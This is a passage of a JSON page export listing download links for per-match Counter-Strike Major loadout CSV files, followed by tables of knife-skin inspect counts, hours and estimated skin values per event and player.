            "label": "86162_spirit-vs-faze-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m3-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.loadout.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "86175_mouz-vs-g2-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "86180_vitality-vs-faze-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m1-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.loadout.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "86181_natus-vincere-vs-g2-m3-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.loadout.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "86188_faze-vs-natus-vincere-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "92883_natus-vincere-vs-liquid-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.loadout.csv"
          },
          {
            "label": "92886_spirit-vs-furia-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.loadout.csv"
          },
          {
            "label": "92887_mouz-vs-pain-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.loadout.csv"
          },
          {
            "label": "92894_liquid-vs-gamerlegion-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.loadout.csv"
          },
          {
            "label": "92895_vitality-vs-furia-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.loadout.csv"
          },
          {
            "label": "92896_mouz-vs-the-mongolz-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.loadout.csv"
          },
          {
            "label": "92897_spirit-vs-wildcard-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.loadout.csv"
          },
          {
            "label": "92918_g2-vs-3dmax-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92918_g2-vs-3dmax-ancient.dem.loadout.csv"
          },
          {
            "label": "92943_big-vs-faze-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "92943_big-vs-faze-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92943_big-vs-faze-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "92950_mibr-vs-liquid-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92950_mibr-vs-liquid-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "92953_furia-vs-pain-m1-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m1-vertigo.dem.loadout.csv"
          },
          {
            "label": "92953_furia-vs-pain-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "92953_furia-vs-pain-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92953_furia-vs-pain-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "92954_spirit-vs-heroic-m3-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92954_spirit-vs-heroic-m3-dust2.dem.loadout.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "92980_mibr-vs-mouz-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92980_mibr-vs-mouz-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "92982_heroic-vs-natus-vincere-m3-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92982_heroic-vs-natus-vincere-m3-ancient.dem.loadout.csv"
          },
          {
            "label": "92984_faze-vs-furia-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "92984_faze-vs-furia-m2-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m2-dust2.dem.loadout.csv"
          },
          {
            "label": "92984_faze-vs-furia-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92984_faze-vs-furia-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "93035_the-mongolz-vs-mouz-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93035_the-mongolz-vs-mouz-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m1-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m1-anubis.dem.loadout.csv"
          },
          {
            "label": "93037_spirit-vs-liquid-m2-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93037_spirit-vs-liquid-m2-dust2.dem.loadout.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "93050_g2-vs-heroic-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93050_g2-vs-heroic-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "93052_vitality-vs-faze-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93052_vitality-vs-faze-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "93073_mouz-vs-spirit-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93073_mouz-vs-spirit-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "93076_g2-vs-faze-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "93076_g2-vs-faze-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93076_g2-vs-faze-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "93102_spirit-vs-faze-m3-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/93102_spirit-vs-faze-m3-dust2.dem.loadout.csv"
          },
          {
            "label": "97739_mouz-vs-virtuspro-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97739_mouz-vs-virtuspro-mirage.dem.loadout.csv"
          },
          {
            "label": "97740_spirit-vs-pain-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97740_spirit-vs-pain-dust2.dem.loadout.csv"
          },
          {
            "label": "97741_g2-vs-3dmax-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97741_g2-vs-3dmax-nuke.dem.loadout.csv"
          },
          {
            "label": "97743_aurora-vs-faze-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97743_aurora-vs-faze-anubis.dem.loadout.csv"
          },
          {
            "label": "97745_the-mongolz-vs-furia-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97745_the-mongolz-vs-furia-inferno.dem.loadout.csv"
          },
          {
            "label": "97748_liquid-vs-lynn-vision-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97748_liquid-vs-lynn-vision-dust2.dem.loadout.csv"
          },
          {
            "label": "97750_aurora-vs-furia-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97750_aurora-vs-furia-dust2.dem.loadout.csv"
          },
          {
            "label": "97751_virtus-pro-vs-legacy-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97751_virtus-pro-vs-legacy-ancient.dem.loadout.csv"
          },
          {
            "label": "97752_3dmax-vs-natus-vincere-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97752_3dmax-vs-natus-vincere-inferno.dem.loadout.csv"
          },
          {
            "label": "97754_mouz-vs-faze-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97754_mouz-vs-faze-ancient.dem.loadout.csv"
          },
          {
            "label": "97755_vitality-vs-nemiga-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97755_vitality-vs-nemiga-dust2.dem.loadout.csv"
          },
          {
            "label": "97757_g2-vs-pain-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97757_g2-vs-pain-dust2.dem.loadout.csv"
          },
          {
            "label": "97769_3dmax-vs-vitality-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97769_3dmax-vs-vitality-nuke.dem.loadout.csv"
          },
          {
            "label": "97770_legacy-vs-faze-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97770_legacy-vs-faze-anubis.dem.loadout.csv"
          },
          {
            "label": "97772_aurora-vs-g2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97772_aurora-vs-g2-inferno.dem.loadout.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m1-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m1-anubis.dem.loadout.csv"
          },
          {
            "label": "97776_spirit-vs-natus-vincere-m2-train.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97776_spirit-vs-natus-vincere-m2-train.dem.loadout.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "97785_pain-vs-nemiga-m3-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97785_pain-vs-nemiga-m3-dust2.dem.loadout.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m1-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.loadout.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "97819_legacy-vs-lynn-vision-m3-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.loadout.csv"
          },
          {
            "label": "97820_3dmax-vs-pain-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "97820_3dmax-vs-pain-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "97826_the-mongolz-vs-faze-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m1-train.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.loadout.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "97830_aurora-vs-mouz-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m1-train.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.loadout.csv"
          },
          {
            "label": "97835_virtus-pro-vs-vitality-m2-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.loadout.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m3-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.loadout.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m2-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.loadout.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m3-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.loadout.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m2-dust2.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.loadout.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "ANALYSIS SOFTWAREPortable parsers & offline report builders0.7 MB · source ZIP ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-software.zip"
          },
          {
            "label": "FILE INDEX / INTEGRITYEvery table + SHA-256JSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/download-manifest.json"
          },
          {
            "label": "Release file list + hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/software-release-manifest.json"
          },
          {
            "label": "Software checksum ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-software.zip.sha256"
          },
          {
            "label": "ByMykel’s item catalogue",
            "url": "https://github.com/ByMykel/CSGO-API"
          },
          {
            "label": "JSON: coordinates, source links and file hashes",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/inspect-gallery.json"
          },
          {
            "label": "CSV: all frame measurements",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/gallery/screen-samples.csv"
          },
          {
            "label": "CS2 Skin Inspect channel supplied with the collection ↗",
            "url": "https://www.youtube.com/@CS2SkinInspect/videos"
          },
          {
            "label": "01 / COMPLETE DATA PACKAll original CSVs + catalogue12.5 MB · ZIP ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-data.zip"
          },
          {
            "label": "02 / CHART DATAPage datasetJSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/players.json"
          },
          {
            "label": "03 / MATCH MANIFEST280 matches and demo linksCSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/matches.csv"
          },
          {
            "label": "04 / HOURS CALCULATIONSeconds, hours, event totalsCSV ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "83304505fb6a2ed53d000b8833f5174448f24dc318b793f9e6a864b0d59a857c",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-data.sha256"
          },
          {
            "label": "Find this material in the fragment map →",
            "url": "https://phishdestroy.io/steam_dossier/fragment_map#material-major-skins"
          },
          {
            "label": "Material PDF ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.pdf"
          },
          {
            "label": "Signed record · JSON ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json"
          },
          {
            "label": "PGP signature ↓",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json.asc"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "TABLE 01 / The same pattern, event after event",
            "rows": [
              [
                "Major",
                "With a skin",
                "Share of records",
                "Skinned inspects",
                "Skinned hours"
              ],
              [
                "Stockholm 2021 ↗CS:GO · 70 maps",
                "78 / 78",
                "100.0%",
                "101,221",
                "43.19player-hours"
              ],
              [
                "Antwerp 2022 ↗CS:GO · 71 maps",
                "78 / 79",
                "98.7%",
                "105,494",
                "41.27player-hours"
              ],
              [
                "Rio 2022 ↗CS:GO · 68 maps",
                "79 / 79",
                "100.0%",
                "134,474",
                "53.94player-hours"
              ],
              [
                "Paris 2023 ↗CS:GO · 67 maps",
                "77 / 78",
                "98.7%",
                "104,496",
                "44.77player-hours"
              ],
              [
                "Copenhagen 2024 ↗CS2 · 73 maps",
                "79 / 79",
                "100.0%",
                "154,139",
                "7.01player-hours"
              ],
              [
                "Shanghai 2024 ↗CS2 · 72 maps",
                "84 / 84",
                "100.0%",
                "155,810",
                "6.15player-hours"
              ],
              [
                "Austin 2025 ↗CS2 · 70 maps",
                "82 / 82",
                "100.0%",
                "192,598",
                "7.34player-hours"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "TABLE 02 / The value carried through the sample",
            "rows": [
              [
                "Major",
                "Series covered",
                "Records",
                "Average subtotal",
                "Summed subtotals"
              ],
              [
                "Stockholm 2021",
                "1 / 40",
                "10",
                "$18,302",
                "$183,024"
              ],
              [
                "Antwerp 2022",
                "3 / 40",
                "25",
                "$16,334",
                "$408,356"
              ],
              [
                "Rio 2022",
                "4 / 40",
                "39",
                "$11,107",
                "$433,162"
              ],
              [
                "Paris 2023",
                "28 / 40",
                "80",
                "$13,312",
                "$1,064,979"
              ],
              [
                "Copenhagen 2024",
                "37 / 40",
                "80",
                "$15,993",
                "$1,279,455"
              ],
              [
                "Shanghai 2024",
                "22 / 40",
                "78",
                "$17,532",
                "$1,367,501"
              ],
              [
                "Austin 2025",
                "27 / 40",
                "83",
                "$16,755",
                "$1,390,638"
              ]
            ]
          },
          {
            "id": "pd-major_skins--record-table",
            "caption": "",
            "rows": []
          },
          {
            "id": "table-4",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "knife_events",
                "default_events",
                "has_skin",
                "inspect_time_s",
                "inspect_time_min"
              ],
              [
                "IEM Rio Major 2022",
                "Jame",
                "5517",
                "0",
                "yes",
                "9010.8",
                "150.18"
              ],
              [
                "PGL Major Stockholm 2021",
                "huNter",
                "2851",
                "0",
                "yes",
                "8022.0",
                "133.70"
              ],
              [
                "IEM Rio Major 2022",
                "Patsi",
                "6581",
                "0",
                "yes",
                "7318.7",
                "121.98"
              ],
              [
                "IEM Rio Major 2022",
                "Qikert",
                "2471",
                "0",
                "yes",
                "5721.0",
                "95.35"
              ],
              [
                "IEM Rio Major 2022",
                "stavn",
                "3338",
                "0",
                "yes",
                "5692.2",
                "94.87"
              ],
              [
                "PGL Major Antwerp 2022",
                "huNter",
                "1812",
                "0",
                "yes",
                "5606.2",
                "93.44"
              ]
            ]
          },
          {
            "id": "table-5",
            "caption": "",
            "rows": [
              [
                "event",
                "player",
                "knife",
                "finish",
                "phase",
                "wear",
                "inspect_time_s",
                "inspect_time_min"
              ],
              [
                "IEM Rio Major 2022",
                "Jame",
                "Butterfly Knife",
                "Night",
                "",
                "Field-Tested",
                "7514.2",
                "125.24"
              ],
              [
                "IEM Rio Major 2022",
                "Qikert",
                "Nomad Knife",
                "Crimson Web",
                "",
                "Minimal Wear",
                "5721.0",
                "95.35"
              ],
              [
                "IEM Rio Major 2022",
                "stavn",
                "Butterfly Knife",
                "Tiger Tooth",
                "",
